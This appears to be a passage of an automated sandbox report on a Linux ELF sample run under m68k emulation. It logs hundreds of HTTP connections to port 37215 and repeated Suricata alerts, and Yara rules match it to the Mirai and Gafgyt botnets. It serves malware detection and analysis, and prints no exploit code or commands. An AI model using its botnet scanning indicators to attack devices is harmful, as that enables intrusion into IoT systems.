Source: unknown	Network traffic detected: HTTP traffic on port 55590 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57730 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43988 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46012 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33120 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40978 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47586 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47934 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41912 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48114 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36750 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43354 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40348 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35996 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52474 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49224 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44254 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38342 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52824 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58838 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40636 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52182 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34458 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57742 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34782 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48944 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40276 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37774 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59144 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54356 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59802 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37136 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55714 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40464 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41856 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52904 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56956 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58664 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51930 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34832 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59604 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37954 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35662 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57404 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45822 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54632 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51448 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39198 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57764 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37858 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39748 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38642 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38972 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43906 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34552 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50798 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59080 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41024 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49124 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55924 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39708 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49328 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50804 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55110 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34438 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45466 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40686 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51606 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40582 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55852 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56818 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36246 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49998 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33540 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58058 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41188 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54936 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41068 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52532 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38894 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52020 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43270 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42942 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34032 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36340 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48584 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33094 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56420 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36830 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39444 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60190 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57180 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58578 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34808 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47950 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38042 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57658 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51644 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59364 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46048 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53538 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52898 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34486 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42620 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60264 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52558 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48194 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44210 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58218 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48500 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49222 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49158 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37704 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40600 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38422 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57138 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40076 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58100 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34054 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49732 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38206 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56864 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56680 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50666 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 37626 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56410 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46594 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33576 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53050 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32958 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55460 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56150 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59004 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52800 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40440 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52688 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47544 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46612 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 52488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36892 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 55842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53152 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47498 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57468 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40518 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47072 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42022 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40952 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56388 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41728 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34330 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34204 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51716 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49176 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42256 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48296 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48694 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46610 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50888 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41868 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53670 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57324 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57556 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35314 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43056 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45336 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40668 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39300 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 59322 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56014 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41560 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45036 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40484 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51236 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49378 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41350 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34488 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56840 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58098 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35722 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32922 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53394 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35754 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58480 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49842 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34132 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 32794 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45510 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36306 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47070 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39090 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43758 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 34358 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42454 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 35380 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38476 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60960 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36470 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 50402 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 46976 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47040 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45396 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54344 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 51834 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 47940 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54850 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 39018 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48596 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40508 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 56186 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 54052 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 36164 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 40240 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 58128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33436 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53502 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 57288 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 44932 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48806 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 43172 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 48762 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 42258 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45078 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53382 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 53418 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38634 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 33900 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 45298 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 38128 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 49016 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 60992 -> 37215
Source: unknown	Network traffic detected: HTTP traffic on port 41380 -> 37215

Source: /tmp/na.elf (PID: 5496)

Queries kernel information via 'uname':

Jump to behavior

Source: na.elf, 5496.1.0000564cd0725000.0000564cd07aa000.rw-.sdmp, na.elf, 5500.1.0000564cd0725000.0000564cd07aa000.rw-.sdmp	Binary or memory string: LV!/etc/qemu-binfmt/m68k
Source: na.elf, 5496.1.00007ffd164fe000.00007ffd1651f000.rw-.sdmp, na.elf, 5500.1.00007ffd164fe000.00007ffd1651f000.rw-.sdmp	Binary or memory string: rx86_64/usr/bin/qemu-m68k/tmp/na.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/na.elf
Source: na.elf, 5496.1.00007ffd164fe000.00007ffd1651f000.rw-.sdmp, na.elf, 5500.1.00007ffd164fe000.00007ffd1651f000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-m68k
Source: na.elf, 5496.1.0000564cd0725000.0000564cd07aa000.rw-.sdmp, na.elf, 5500.1.0000564cd0725000.0000564cd07aa000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/m68k

Stealing of Sensitive Information

Yara detected Gafgyt

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY

Yara detected Mirai

Source: Yara match	File source: na.elf, type: SAMPLE
Source: Yara match	File source: 5496.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: 5500.1.00007f0e6c001000.00007f0e6c016000.r-x.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: na.elf PID: 5496, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: na.elf PID: 5500, type: MEMORYSTR

Remote Access Functionality

Detected Mirai

Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
Source: Traffic	Suricata IDS: ET MALWARE Mirai Variant User-Agent (Outbound)
